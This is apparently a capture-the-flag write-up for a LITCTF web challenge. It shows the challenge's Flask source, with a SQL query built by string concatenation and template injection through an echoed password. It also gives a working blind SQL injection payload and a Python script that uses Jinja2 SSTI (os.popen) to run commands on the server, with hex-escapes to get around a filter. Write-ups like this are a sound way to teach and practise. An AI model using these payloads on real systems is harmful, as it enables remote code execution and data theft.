Tags: blindsql ssti
Rating:
# Challenge Description
![](https://i.imgur.com/51vgvJh.png)
The source code for this challenge was given and we have two files :
**main-server.py**
```
import sqlite3
from flask import Flask, render_template, render_template_string, redirect, url_for, request
import requests;
import re;
app = Flask(__name__)
def alphanumericalOnly(str):
return re.sub(r'[^a-zA-Z0-9]', '', str);
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if('.' in password):
return render_template_string("lmao no way you have . in your password LOL");
r = requests.post('[Other server IP]', json={"username": alphanumericalOnly(username),"password": alphanumericalOnly(password)});
print(r.text);
if(r.text == "True"):
return render_template_string("OMG you are like so good at guessing our flag I am lowkey jealoussss.");
return render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");
return render_template("index.html");
app.run(host='127.0.0.1',port=8081,debug=True)
```
and data-server.py
```
import sqlite3
from flask import Flask, render_template, render_template_string, redirect, url_for, request
con = sqlite3.connect('data.db', check_same_thread=False)
app = Flask(__name__)
flag = open("flag.txt").read();
cur = con.cursor()
cur.execute('''DROP TABLE IF EXISTS users''')
cur.execute('''CREATE TABLE users (username text, password text)''')
cur.execute(
'''INSERT INTO users (username,password) VALUES ("flag","''' + flag + '''") '''
)
@app.route('/runquery', methods=['POST'])
def runquery():
request_data = request.get_json()
username = request_data["username"];
password = request_data["password"];
print(password);
cur.execute("SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'");
rows = cur.fetchall()
if(len(rows) > 0):
return "True";
return "False";
app.run(host='127.0.0.1',port=8080,debug=True)
```
Undrestanding this code is pretty easy:
**Main-server.py**
```
import sqlite3
from flask import Flask, render_template, render_template_string, redirect, url_for, request
import requests;
import re;
app = Flask(__name__)
def alphanumericalOnly(str): #Remove non alphanumeric characters from our input
return re.sub(r'[^a-zA-Z0-9]', '', str);
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if('.' in password): #Blacklisting the '.' in the password
return render_template_string("lmao no way you have . in your password LOL");
#Making a post request to the data server with our inputs being sanitized
r = requests.post('[Other server IP]', json={"username": alphanumericalOnly(username),"password": alphanumericalOnly(password)});
print(r.text);
if(r.text == "True"):
return render_template_string("OMG you are like so good at guessing our flag I am lowkey jealoussss.");#The respons we got if our credentials are good
#If not we got this response with the password printed back :)
return render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");
return render_template("index.html");
```
And **Data-server.py** just returns True or False depends on the result of SELECT statemnet.
# Unintended solution
This may seems very wired (and it is) but when I first tried to solve this I just tried to test the funcionality of the site without really undrestanding the code.
Lucky enough when I tried `1' or 1=1-- -` in the password field, I got the "OMG ..." response which really shouldn't be but it was hh.(I don't know why this happened
but probably because the "alphanumericalOnly" function wasn't implemented on the server ).
So my first approch was just a normal blind SQl injection with a sipmle python script and this `' or (1=1 and (SELECT hex(substr(password,{position},1)) FROM users limit 1 offset 0) = hex('{charachter}'))-- -` as payload and You know what, it just worked fine ?.
Unfortunately the '.' part in the code was just fine and the flag I got was ###LITCTF{flush3d_3m0ji_o0} which is again weird because the correct flag has '.' in it,
so I shouldn't be able to get the "0}" part.
Anyway,I checked the flag with an admin and he told me that I missed something.I tried several times but the flag was always the same so I just moved to something else
and decide to get back later.
# Intended solution
When I got back my script wan't working anymore hh and it seems that the challenge decided to work properly again (or someone fixed it).
When I read the code I realised that normal SQLi shouldn't have worked in the first time and that there is an SSTI here `return render_template_string("ok thank you for your info i have now sold your password (" + password + ") for 2 donuts :)");`.
I was just coming out of 2 CTFs with SSTI challenges and the payload was just ready :)
The first thing I tried was reading the main.py file and from it we got the data server IP "http://172.24.0.8:8080" which is a local IP so we can't just make a request to it.
From this the Solution was obvious : Using the SSTI in the main server to do a BLIND SQLi in the data server.My first thought was to use curl or wget but after checking the available commands it seems that we can't.With Python available we can just use the one-liner option.
So I just modified my first script a little bit and used it to get the flag.
```
import requests
import string
url="http://159.89.254.233:31781/"
flag=""
i=1
while "}" not in flag:
for j in string.printable :
if j==".": #Bypass the "." check in the main server (don't forget to replace it later in the flag)
j="\\x2E"
data={"username":"flag","password":r"{{lipsum['__globals__']['os']['popen']('python3 -c \x27import requests;r = requests\x2Epost(\x22http://172\x2E24\x2E0\x2E8:8080/runquery\x22,json={\x22username\x22:\x22flag\x22,\x22password\x22:\x22flag\\x27 or (SELECT hex(substr(password,"+str(i)+ r",1)) FROM users limit 1 offset 0) = hex(\\x27"+j+r"""\\x27)--\x22});print(r\x2Etext)\x27
')['read']()}}"""}
s=requests.post(url,data=data)
if "True" in s.text:
flag+=j
print(flag)
i+=1
break
```
I had a difficult time triying to get this to work because of the quotes but we can use hex enocde with "\x" prefix to fix that and bypass the '.' check.
## Flag : `LITCTF{flush3d_3m0ji_o.0}`
**Bonus Tip**:
I used to use the `data=` parameter in post requests with Python's requests library,however it seems that starting with Requests version 2.4.2, you can use the `json=` parameter instead.And as I'm always keeping my tools and softwares updated ? I just used the `data=` as usual which would give you an empty response (to remind you to update your stuff)